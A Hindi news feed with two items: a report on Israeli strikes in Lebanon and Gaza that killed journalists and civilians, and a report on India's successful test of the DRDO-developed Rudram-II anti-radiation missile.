लेबनान में इजरायली हमले लगातार जारी हैं। बुधवार को पूरी रात इजरायल पर अटैक करने के बाद गुरुवार की रात को भी उसने कई मिसाइल हमले किए। इनमें से ही एक मिसाइल अटैक में तीन मीडियाकर्मी भी मारे गए हैं। इजरायल की ओर से दागी गई मिसाइल दक्षिणपूर्व लेबनान में स्थित एक मीडिया दफ्तर में जा गिरी। इसमें मीडिया से जुड़े तीन कर्मचारियों की मौत हो गई। बेरूत स्थित अल-मायादीन टीवी की रिपोर्ट के अनुसार उसके दो स्टाफ की शुक्रवार सुबह ही मौत हो गई। वहीं लेबनान में सक्रिय उग्रवादी संगठन हिजबुल्ला से जुड़े अल-मनार टीवी के भी एक पत्रकार के मारे जाने की खबर है।

अब तक मिली जानकारी के अनुसार इजरायल के हमले में विसम कासिम नाम को फोटो पत्रकार एयरस्ट्राइक में मारा गया। इस बीच इजरायल ने सेंट्रल गाजा में भी हमले किए हैं। गाजा के नुसरत रिफ्यूजी कैंप में इजरायली हमले में 18 लोग मारे गए हैं। यह शेल्टर कैंप एक स्कूल में बनाया गया था, जिस पर इजरायल की एक मिसाइल आकर गिरी। यहां सैकड़ों की संख्या में फिलिस्तीन के लोगों ने शरण ले रखी है। इसके बाद एक और हमला इजरायल की ओर से पड़ोस के ही कैंप में किया गया, जिसमें कई लोग घायल हो गए।

इजरायल की सेना ने खान यूनिस में भी बमबारी की है। खान यूनिस के अल-मनारा इलाके के एक घर में बम गिराया गया, जिसमें 23 लोगों की मौत हो गई। अल जजीरा ने अपनी एक रिपोर्ट में इसकी जानकारी दी है। उत्तरी गाजा के जबालिया में भी हमले हुए हैं, जिनमें 10 इमारतों को नुकसान पहुंचा है। यहां से भी कई लोगों के मारे जाने की खबरें हैं। अब तक 45 हजार के करीब फिलिस्तीनी नागरिक इजरायल के हमलों में मारे जा चुके हैं। यह जंग बीते साल 7 अक्टूबर से शुरू हुई थी, जो अब तक जारी है।

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भारत की रुद्रम मिसाइल की ताकत से छूटेंगे पाकिस्तान और चीन के पसीने https://pratyushaashakinayikiran.com/?p=36318 Fri, 31 May 2024 18:06:00 +0000 https://pratyushaashakinayikiran.com/?p=36318 नई दिल्ली
 भारत ने एक बार फिर अपने कदम से दुश्मनों को चेता दिया है कि अगर उनसे उलझने की कोशिश की तो अंजाम बुरा होगा। भारत ने सुखोई-30 MKI लड़ाकू विमान से हवा से जमीन पर मार करने वाली एक एंटी-रेडिएशन मिसाइल का सफल टेस्ट कर लिया है। रुद्रम-II एंटी-रेडिएशन सुपरसोनिक मिसाइल को रक्षा अनुसंधान और विकास संगठन (DRDO)ने विकसित किया है। रुद्रम मिसाइल पहली स्वदेशी रूप से विकसित एंटी-रेडिएशन मिसाइल है जिसे दुश्मन के जमीनी राडार (निगरानी, ट्रैकिंग) और संचार स्टेशनों को दबाने के मिशन (SEAD) में लक्षित करने के लिए डिजाइन किया गया है।

दुश्मन के हथियार हो जाएंगे फेल
रुद्रम-II पहले वाले रुद्रम-1 का नया संस्करण है, जिसका परीक्षण चार साल पहले सुखोई-30 MKI से किया गया था। बता दें कि यह भारत के लड़ाकू विमान बेड़े की रीढ़ है। स्वदेशी रूप से विकसित ठोस ईंधन से चलने वाली हवा से प्रक्षेपित मिसाइल प्रणाली के रूप में, रुद्रम-II सबसे बेहतरीन मिसाइलों में से एक है और इसे कई तरह के दुश्मन के हथियारों को निष्क्रिय करने के लिए बनाया गया है। भारत फिलहाल रूसी kh-31 एंटी-रेडिएशन मिसाइल का इस्तेमाल करता है। रुद्रम मिसाइलें kh-31 की जगह लेंगी। एक बयान में कहा गया है कि रेंज ट्रैकिंग उपकरणों जैसे इलेक्ट्रो-ऑप्टिकल सिस्टम, राडार और चांदीपुर में एकीकृत परीक्षण रेंज द्वारा तैनात टेलीमेट्री स्टेशनों और साथ ही जहाज पर भी तैनात उपकरणों से प्राप्त उड़ान डेटा से रुद्रम-II मिसाइल के प्रदर्शन को मान्य किया गया है।

रुद्रम-2 की खासियत जानिए
रक्षा मंत्री राजनाथ सिंह ने रुद्रम-II के सफल परीक्षण के लिए DRDO, IAF और उद्योग जगत को बधाई दी। उन्होंने कहा कि इस सफल परीक्षण ने रुद्रम-II प्रणाली को सशस्त्र बलों के लिए एक महत्वपूर्ण क्षमता वर्धक के रूप में स्थापित कर दिया है। इस मिसाइल को अलग-अलग ऊंचाइयों से दागा जा सकता है और यह 100 किलोमीटर से अधिक दूरी से दुश्मन के रेडियो फ्रीक्वेंसी और राडार सिग्नल पकड़ सकती है। मिसाइल लॉक-ऑन-बीफोर/आफ्टर-लॉन्च प्रणालियों में काम कर सकती है। मिसाइल का इंटरनल गाइडेंस सिस्टम इसे लॉन्च के बाद खुद को लक्ष्य की ओर निर्देशित करने की अनुमति देता है।

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